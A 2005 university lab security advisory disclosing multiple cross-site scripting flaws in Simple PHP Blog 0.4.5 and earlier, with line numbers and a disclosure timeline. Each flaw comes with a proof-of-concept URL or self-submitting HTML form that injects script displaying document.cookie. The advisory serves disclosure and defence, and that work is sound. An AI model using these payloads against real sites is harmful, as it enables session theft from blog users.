TUVSA-0511-001.txt

`===========================================================  
Simple PHP Blog: Multiple XSS Vulnerabilities  
===========================================================  
Technical University of Vienna Security Advisory  
TUVSA-0511-001, November 2, 2005  
===========================================================  
  
  
Affected applications  
----------------------  
  
Simple PHP Blog (www.simplephpblog.com)  
  
Versions 0.4.5 and prior.  
  
  
Description  
------------  
  
  
1.) preview_cgi.php, part 1  
  
There is a cross-site scripting (XSS) vulnerability in the file preview_cgi.php on line 126: The variable $entry is echoed,  
but hasn't been sufficiently sanitized before. When logged in, this issue can be tested with the following URL:  
  
http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo"><script>alert(document.cookie)</script>  
  
The fields "your-server" and "path-to-sphpblog" in the given URL have to be adjusted accordingly.  
  
  
2.) preview_cgi.php, part 2  
  
There is another cross-site scripting vulnerability in the file preview_cgi.php on line 129: The variable $temp_subject is echoed,  
but hasn't been sufficiently sanitized before. When logged in, this issue can be tested by visiting a page structured  
as follows:  
  
<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">  
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
An analogous vulnerability affects preview_cgi.php on line 158:  
  
<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">  
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
  
3.) preview_static_cgi.php  
  
In the file preview_static_cgi.php, there are four vulnerabilities resembling those in preview_cgi.php:  
  
- line 73, variable $entry; example URL:  
  
http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo"><script>alert(document.cookie)</script>  
  
- line 76, variable $temp_subject; example file:  
  
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">  
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
- line 158, variable $temp_text; example file:  
  
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">  
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
- line 108, variable $temp_file_name is set to $_POST['file_name'] if $_GET['entry'] is not set, and set to $entry otherwise  
(in this case, see vulnerability on line 73); example file:  
  
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">  
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
4) colors.php  
  
The variables variables $preset_name and $result on line 187 of the file colors.php are also vulnerable to XSS. This can be tested with one of the following two pages:  
  
<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">  
<input name="save_btn" value="1"/>  
<input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>  
<input name="scheme_file" value="blabla"/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
or  
  
<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">  
<input name="save_btn" value="1"/>  
<input name="scheme_name" value="myscheme"/>  
<input name="scheme_file" value="blabla"/>  
<input name="bg_color" value='"><script>alert(document.cookie)</script>'/>  
<input type="submit"/>  
</form>  
  
<script type="text/javascript">  
document.forms[0].submit();  
</script>  
  
  
Solution  
---------  
  
The authors are currently working on a new version of Simple PHP Blog that is  
supposed to fix these vulnerabilities.  
  
Timeline:  
  
September 22, 2005:  
Vulnerabilities reported via the contact form under  
http://www.simplephpblog.com/contact.php.  
  
September 29, 2005:  
Message posted to the project-related SourceForge bug forum  
(http://sourceforge.net/projects/sphpblog) due to missing response.  
  
October 1, 2005:  
Developers reply via SourceForge.  
  
October 2, 2005:  
Vulnerabilities reported via the e-mail address given in the previous reply.  
  
Until November 2, 2005:  
Occasional contact via e-mail, announcement of advisory release date one week  
in advance remained uncommented.  
  
November 2, 2005:  
Advisory submission.  
  
  
References  
-----------  
  
http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt  
  
  
Nenad Jovanovic  
Secure Systems Lab   
Technical University of Vienna   
www.seclab.tuwien.ac.at  
`